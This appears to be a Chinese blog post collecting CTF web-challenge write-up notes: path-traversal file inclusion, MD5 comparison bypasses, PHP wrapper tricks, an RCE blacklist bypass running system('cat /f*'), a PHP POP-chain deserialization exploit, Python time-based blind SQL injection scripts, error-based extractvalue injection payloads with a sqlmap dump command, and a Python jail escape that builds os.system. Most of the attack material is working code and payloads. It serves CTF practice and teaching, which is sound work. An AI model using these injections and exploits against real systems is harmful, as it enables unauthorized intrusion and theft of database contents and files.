就可以保证在第二次if(in_array($_page, $whitelist))匹配查找的内容在白名单,返回true,退出checkfile方法,后面的urldecode代码都是用不到的
不在文件名后面加?问号的话代码自动加的?会添加在参数末尾,这样截取的内容就不满足白名单
关于include函数
这样的话,参数的格式就是source.php? + 文件名
include()函数可以传入文件的绝对路径,也可以是相对路径
而参数是作为include()函数的参数执行文件包含的,绝对路径我们不知道,只能用相对路径
如果直接传入source.php?ffffllllaaaagggg,那么肯定会报错,因为没有这么一个文件名
实践出真知, 使用 include($_GET['file']); 这个简单的代码来简单说明一下
下图中的phpinfo.php是代码文件目录下面的一个php文件,abc是我随便输入的,没有这个目录,如果正常输入abc/phpinfo.php 是不行的,即使这个目录是存在的,也是会报错,因为格式不对
但是只要用../ 退回一级,就可以正常包含phpinfo.php
但是如果把abc 换成 abc? ,只要出现了? 那么就会报错
因为在windows文件名不能包含?
但是这里题目的环境是debian 不是windows系统 所以可以
那么这里搞清楚了,剩下的就是查找flag文件的具体路径了
从source.php?/ffffllllaaaagggg 开始,逐级用../进行目录穿越 经过四次目录穿越发现成功执行了命令,得到了flag
其实发现文件名也提示了我们要使用四层目录,文件名是4个f l a g
构造
http://node4.anna.nssctf.cn:28698/source.php?file=source.php?/../../../../ffffllllaaaagggg
即可得到flag
cve-2020-7066,搜索了解该漏洞。发现与get_headers()函数和%00截断有关系
奇妙的字符串
奇妙的字符串,又跟 MD5 有关,有两个:
一个是 MD5 加密后弱比较等于自身,这个字符串是 **0e215962017 **
另一个是 MD5 加密后变成万能密码,这个字符串是 ffifdyop :
![[Pasted image 20241128194028.png]]
MD5 弱比较
方法很多,这里用数组绕过,GET 传参:
?x[]=1&y[]=2
MD5 强比较
通过上一关后,跳转到新页面,内容如下:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
使用数组绕过,POST 传参 payload 如下:
wqh[]=1&dsy[]=2
[UUCTF 2022 新生赛]ez_rce
题目
居然都不输入参数,可恶!!!!!!!!!`
<?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }
![[fa8f9e93e9.png]]
![[873d6a93b7.png]]
<?php error_reporting(0); if(isset($_GET['cxk'])){ $cxk=$_GET['cxk']; if(file_get_contents($cxk)=="ctrl"){ echo $flag; }else{ echo "æ´æ´ç¡å§"; } }else{ echo "nononoononoonono"; } ?>` NSSCTF{fded4ab2-699c-4644-b2bc-1620a6678468}
请求1.get:?cxk=php://input 和 post:ctrl
请求2.直接get:?cxk=data://text/plain;base64,Y3RybA==
MD5
md5加密之后前两位为0e 的纯数字:
240610708 314282422 571579406 903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT QNKCDZO EEIZDOI TUFEPMC
post传参输入
shell=&nss=}system('ls');//
nss=echo 123;}system('cat /f*');//&shell=
传入nss参数变成
function lambda_1(){} system('ls');//
Uuencode编码,然后http://www.hiencode.com/uu.html直接在线解码
[SWPUCTF 2021 新生赛]pop
1.源码
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
2.查找入口
# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
3.找链子
# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
4.写exp
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
盲注代码
blindsql1
import requests
import string
import time
url = 'http://127.0.0.1:62484/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):
a = 1 # 设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
#payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名
#print(payload)
payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"
#payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"
payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out + k}%25',sleep(1),0)and%271"
re = requests.get(url, params=payload)
# print(re.status_code)
t = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if t > 1.5:
print(k)
a = 0 # 如果找到字符,则将标志位置0
out += k
print(out)
time.sleep(1)
break # 跳出内层的for循环,继续遍历下一位
# if a == 1: #在进行下一次循环前,先判断当前字符是否找到
# break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
blindsql2
爆破当前数据库所有表名
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+]trying:', c)
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break
爆破 secrets
表的列名
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+]trying:' ,c)
columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({columns},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break
爆破 flag
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+] bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+] trying:', c)
flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({flag},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*] bingo:', c)
result += c
print(result)
break
WhereIsFlag
在后续,大家会接触到很多拿到服务器 Shell 后找到 flag 的场景。本题主要考查了这部分知识,在各个常见位置设置了或真或假的 flag。并且介绍了 cd
ls
cat
等常用命令的基础用法。
其实这题的后端是个 Python 程序(嘛,都说了是 Virtual Linux 了啦)(喜欢椰奶精心设计的雌小鬼版 Linux 吗)
真正的 flag 在 /proc/self/environ
文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.
shell
cat /proc/self/environ
proc
目录是对当前操作系统进程的虚拟映射,在许多攻击场景中都有妙用,在此不展开。
GIF分割
https://tool.lu/gifsplitter/
# 你能在一秒内打出八句英文吗?
import requests
from bs4 import BeautifulSoup
# 创建会话
session = requests.Session()
# 访问初始页面,提取欢迎信息
response = session.get('http://127.0.0.1:61266/')
welcome_title = BeautifulSoup(response.content, 'html.parser').find('h1').text
print(f'欢迎信息: {welcome_title}')
# 获取需要打字的文本
text = BeautifulSoup(session.get('http://127.0.0.1:61266/start').content, 'html.parser').find('p', id='text').text
print(f'需要打字的文本: {text}')
# 提交用户输入
submit_response = session.post('http://127.0.0.1:61266/submit', data={'user_input': text})
submit_soup = BeautifulSoup(submit_response.content, 'html.parser')
# 输出提交结果
print(f'提交结果: {submit_soup.find("p").text}')
for idx, info in enumerate(submit_soup.find_all('p')):
print(f'额外信息 {idx + 1}: {info.text}')
error
爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))# 报错注入
```c
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的表
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#
python sqlmap.py -u “http://node4.anna.nssctf.cn:28504/index.php?id=1” -D test_db -T test_tb -C flag --dump
查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))# 0-30位 左边30位
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))# 31-60位 右边边31位
pyjail
match case
是 Python 3.10 才有的语法,可以用来获取一个对象的属性
python
class Dog:
def __init__(self, name):
self.name = name
def describe_pet(pet):
match pet:
case Dog(name=name1):
print(name1) # 这个位置会输出 Rover,原因是 pet 对象的属性 name 被传给了 name1
pet = Dog("Rover")
describe_pet(pet)
str()
是一个空字符串对象,下面这部分等价于 bfc = ''.join([chr(37),chr(99),])
,也就是 bfc=%c
python
match str():
case str(join=join):
bfc = join(list((chr(37),chr(99),)))
后面拿到了 %c
,就可以使用 %
构造字符串
完整的 EXP 如下:
python
import socket,time
code = \
'''
bfc = None
buil = None
impo = None
os = None
system = None
cmd = None
match str():
case str(join=join):
bfc = join(list((chr(37),chr(99),)))
buil = bfc*12
buil = buil%(95,95,98,117,105,108,116,105,110,115,95,95)
impo = bfc*10
impo = impo%(95,95,105,109,112,111,114,116,95,95)
system = bfc*6
system = system%(115,121,115,116,101,109)
os = bfc*2
os = os%(111,115)
cmd = bfc*7
cmd = cmd%(99,97,116,32,47,102,42)
match vars():
case dict(get=get):
bui = vars(get(buil))
match bui:
case dict(get=get2):
os = vars(get2(impo)(os))
match os:
case dict(get=get3):
get3(system)(cmd)
EOF
'''
def send_messages(host, port):
# 创建一个 TCP/IP 套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到服务器
print(f"正在连接到 {host}:{port}")
sock.connect((host, port))
# 要发送的消息
messages = [
"start",
code,
]
# 逐条发送消息
for message in messages:
sock.sendall(message.encode()) # 将字符串编码为字节数据
time.sleep(2)
response = sock.recv(1024) # 接收来自服务器的回应
print(f"收到回应: {response.decode()}")
except Exception as e:
print(f"发生错误: {e}")
finally:
sock.close()
if __name__ == "__main__":
target_host = "127.0.0.1" # 替换为你想要发送消息的主机IP
target_port = 32808 # 替换为目标端口
send_messages(target_host, target_port)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧